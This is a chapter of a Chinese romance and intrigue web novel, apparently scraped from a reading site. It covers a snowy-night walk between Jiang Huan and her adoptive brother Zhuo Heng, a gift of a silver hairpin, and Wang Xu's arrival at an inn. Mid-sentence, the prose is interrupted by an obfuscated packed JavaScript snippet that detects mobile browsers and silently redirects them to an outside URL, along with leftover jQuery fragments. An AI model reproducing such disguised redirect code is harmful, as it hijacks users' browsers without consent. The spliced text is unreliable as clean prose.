112.落雪
作品:《假死后,她的便宜兄长疯了》 姜涣的拇指指甲不停在食指指腹上滑动:“我离开永乐侯府后就遇了刺,那些刺杀我的人就是在红绡台后院处消失不见的。而他们也未要了我的性命,只是引来了京兆府的差役将我锁拿进了牢狱之中。”
“再后来,我便遇上了王煦。这事不会这么巧,必定是有人故意设计了王煦,好叫王煦适时的出现在那处。若是王煦杀了我,幕后之人或是借此挑唆东宫也好,或是直接将这事栽脏旁人也罢,都是一局稳赢不输的。”
成鲤接话,道:“可你在红绡台遇到赵明桢。若这一切都是赵明桢所设计,他合该将自己择个干净。”
姜涣点头:“你说得也在理,可若说与赵明桢无关,这一切也着实太巧了些。毕竟论血脉,他们四个都是皇帝的儿子。”
卓恒:“王煦因何事去牢狱,我去查。至于那永安寺,就由成兄弟去探了。”
“那我就安心当我的鱼饵。”姜涣说罢这话,当即偷偷去瞧卓恒的神情,见他面上未露愠色,这才稍稍宽下几分心。
“那我先走了。”卓恒站起身来,对着姜涣道:“送送我吧。”姜涣稍愣了愣,她瞧着卓恒此时的眼神总觉得有些似曾相识。卓恒见她未应,催促道:“送送我,行吗?”
“行,行。”姜涣当即点头,先一步开门行出去,速度之快一时叫人分不清到底是她送卓恒,还是卓恒送她。
成鲤瞧着这两个离开的人,啧啧两声:“只要这男人稍微扮个可怜,你这一身的聪明劲就没了,又一个满脑子被情爱掌控的人。”成鲤又拿了块团花云燕糕咬了一口:“到底是谁的徒弟像谁,师叔收的徒弟,也像师叔。”
漫天飞雪,洁白的飞雪落了大半日,早已在地上积了厚厚的一层。如此雪夜,街市之上自然再无行人游走。
姜涣一身素色衣裙行在街市之上,两旁高悬的灯笼随着夜风来回摇曳,卓恒便这般跟在她身后,一步一步,踩着她走过的路静静跟在她身后。
姜涣出来得急,衣裳略单薄了些,她起初还没什么感觉,走了一段之后只觉得四肢都泛了寒意。她停下了步子,而后肩上便多了一件黑色大氅。
姜涣侧了身回头去看,瞧着拖在地上的面料,道:“太长了。”
卓恒替她扫了扫发间白雪,“先将就一下吧。”他如是说着,随即执了她的手,将她的双手放入自己袖内,问道:“暖了吗?”
“嗯,嗯。”姜涣的眼神立时明亮起来,欢喜地点了点头。
果然,无论她是何等年岁,无论她经历过了多少事,那些她原本就存在的性子,是无法磨灭掉的。她是卓璃,自然,她的身上也还会存在着卓璃的影子。
姜涣的双手在他的袖子里暖着,恍惚间想到了从前。她记得自己幼时喜欢玩雪,又怕冷,每每都会将一双冰冷的手往卓恒的脖颈间伸。
卓恒次次都缩了脖子满脸嫌弃,可从来都没有把她的手甩出去。
卓恒看着她眉眼弯弯的模样,问道:“想到什么好笑的事了?”
姜涣:“想到我从前次次都是把手伸到你脖颈里取暖的。你呢,每次都把脖子缩得特别紧,嘴上说着嫌弃,但终归还是没躲。”
卓恒:“那要再试试吗?”
姜涣不解:“啊?”
卓恒退开几步,任姜涣的手从他的袖子中滑出来,随后微蹲了身子将她单手抱在怀中,一如从前。
“大庭广众的,你做什么?快些放我下来!”姜涣推了推他,却不见他有松开的意思。
“大雪天,不会有人出来的。你不打算把手放进我脖颈间试一试吗?”卓恒抱着她的手稍一使劲,这便迈步朝前走。
姜涣张望了下,随后理了理身上的大氅,素手一挥,用这大氅将卓恒一并拢在其中。随后,她便借着衣料遮挡,大大方方地将手伸进了卓恒的后脖颈取暖。
朔风阵阵,姜涣却再也没觉得寒冷,好似回到了从前一家子人雍雍穆穆的时候。姜涣自然而然想到了卓远山,开口问道:“阿爹这些年来身体怎么样?”
卓恒:“身子比我硬朗,就是想你。前些时日知道你还活着,已经在想如何辞官去武林城找你了。”
“那若是叫阿爹知晓我现在在都城,他岂不是即刻就要过来寻我?”依着卓远山的性子,只怕是会抱着自己嚎上几场才是。“还是先瞒着吧,不然我怕他揍我。”
“阿爹怎么可能揍你,揍我还差不多。”毕竟姜涣这些年在外头吃了许多苦,依着卓远山那重女轻儿的性子,卓恒自是少不了几顿打。
“也是。”姜涣笑着点了点头,忽道:“那,阿爹的身量还是与从前差不许多吗?”
卓恒:“阿爹长年习武,身量自是没有变化。”
“放我下来吧。”姜涣把手收回,而后拍了拍他的肩膀。“你该不会是想一路抱着我回家,然后再让阿爹大晚上揍你一顿?”
“阿爹今晚当值。”卓恒虽嘴上这般说着,但还是乖乖把姜涣放了下来。
第二次了,今夜已是第二次这般顺她的意了。姜涣歪了头,疑惑道:“你从前不是总喜欢管着我吗?怎么现在,都顺着我了?”
“从前管着你,是因为你年纪小,怕你出事。现在顺着你,是因为你已经有能力护着你自己了,我不该继续约束你。”卓恒见她眼角已起氤氲水气,慌乱地抬手拭了拭她的眼角。“我,我说错什么了吗?”
“嗯。”姜涣发了一个音,随即摇了摇头。“回去吧。”语毕,她便解下了自己身上的大氅披回他的肩头。她踮着脚尖替他整理好衣裳,道:“别着凉。”
“好。”卓恒应了声,抬手握住了姜涣的手,随后从腰间摸出了那只银簪。“能帮我戴上吗?”
姜涣将手抬到半空,一时不进不退,不知道应不应当去接。
同样的簪子她手上也有一只,这是一对银簪,而卓恒要她帮着簪上,弦外之音为何她又怎会不清楚?
其实卓恒当真是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16764822|182146||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
样样都好,他们从小一起长大,他是这世上最了解自己的人,也是这世上最惯着自己的人。
她愿意永远都同卓恒一起生活在一处,只不过,她也害怕这些会变。可是转念一想,若是当真都变了,那她也大可以同明洛水一般,就此潇洒离去,何必将自己束缚其中呢?
她若是卓恒始终未变,她便留下,那日子便会如常平淡快乐地过着。若是卓恒易了初心,那她大可以离开,天高海阔,她哪里都去得。
想到此处,姜涣亦放手去接了,她踮了脚尖要将簪子插与他的发间,偏自己身量与他有些差距,她试了两次未果,当即就鼓了腮帮子。
卓恒再次弯腰将她抱在怀中,叫她可以顺利地替自己簪上簪子。
“好了,回去吧。”
“好。”
成鲤待在屋子里,将满桌的点心吃了个精光,才见姜涣回来。“我还当你不会回来了,怎么不跟他一起回家?”
“你没事吧?”姜涣三两步行至桌案旁,看着那满桌糕点残渣,问道:“你不怕吃这么多甜的生病吗?”说罢她就去搭成鲤的脉。
成鲤将手抽回:“我的身体肯定比你好。”
姜涣:“混说!大多男人都比女人死得早!”
成鲤:“那我就是那个少数的。”
姜涣白了他一眼,自往屏风后走去,准备宽衣歇下。成鲤自然识趣地退开几步,往外间软榻上坐了。
翌日天尚未亮,客栈底下便有骚动声传来。成鲤先一步跃至窗旁,他借着窗户缝隙往外瞧去,便见客栈外已然围了好些家丁打扮之人。“来了。”
“那你先出去藏好吧。”姜涣披衣而起径直走到妆台旁开始梳妆,成鲤亦不多言,只闪身离开了屋子避到外间去。
客栈掌柜被店中伙计摇醒,他随便套了件衣服,一壁跑一壁穿,正想看一看是哪个了不得的人物天还不亮就要来寻事头,抬头一看是王煦,双腿一软当即跪下来求饶。
王煦并不想与这掌柜多费口舌,只问他店内是否有一个身着素衣时常戴着面纱的女子入住,若是有,直接带路便是。
那掌柜本还在与周公弈棋的美梦之中,陡然叫自家伙计摇醒,后又一路跑着前来,此时脑袋还是昏昏沉沉,一时间也转不明白,不知道王煦所言何人。
倒是一旁的伙计听了,直言说店内是有这么一位女客,已然入住好些天,这就可带他们过去。
王煦听罢只叫那伙计引路,并不多加停留,一行人便径直到了姜涣所在的屋子。伙计抬手敲了敲,唤道:“姑娘,有贵客寻姑娘,还请姑娘开个门。”
内里并无回应,伙计又唤了一次,见还是未有反应,这边也哈着腰与王煦赔罪:“世子,眼下时辰尚早,许是客人还未醒。”
王煦自是不会相信姜涣尚未醒转一说,他与左右使了一记眼色,左右之人当即将那伙计扯开。左近之人正欲抬脚踢开屋门,却不想一只脚才抬起,门就被打开了。

